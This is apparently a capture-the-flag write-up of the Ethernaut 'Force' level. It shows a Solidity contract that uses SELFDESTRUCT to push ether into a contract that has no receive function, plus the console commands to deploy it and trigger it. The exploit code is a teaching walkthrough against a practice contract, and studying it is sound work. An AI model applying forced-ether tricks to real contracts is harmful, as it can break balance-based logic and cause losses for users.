The Challenge 🤸🤸♂️
Increase the balance of the following contract from zero:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
Increasing the balance 📈
Force.sol
have neither a fallback
nor receive
function to accept ether, so if we send a raw transaction it wil revert:
// this will revert
await sendTransacion({from: player, to: contract.address, value: toWei("1")})
To force the contract to receive ether we need to implement the SELFDESTRUCT
opcode.
SELFDESTRUCT
performs two task:
- Irreversibly deletes the bytecode of a contract from the blockchain.
- Sends the balance of a contract to an address, if the recipient is a contract with no
fallback
,SELFDESTRUCT
forces the contract to accept the ether.
Go to Remix and create a new file with this contract:
contract ForceBalance {
address payable public to;
constructor(address _to) {
to = payable(_to);
}
receive() external payable {
selfdestruct(to);
}
}
Request a new instance of Force
, grab the address and deploy ForceBalance
with the instance level address.
In your console send ether to ForceBalance
:
// send a small amount of ether
await sendTransaction({to: FORCE_BALANCE_ADDRESS, from: player, value: "10000"})
Wait for the transaction to be mined and check the balance of Force
:
await getBalance(contract.address).then(bal => bal.toString()) // should greater than zero
Submit the instance to complete the level.
Conclusion ☑️
SELFDESTRUCT
deletes the bytecode of a contract and forces a recipient to accept ether, even if it is a contract with no mechanism to receive ether.
The SELFDESTRUCT
opcode is currently deprecated and its use in not recommended.
Top comments (0)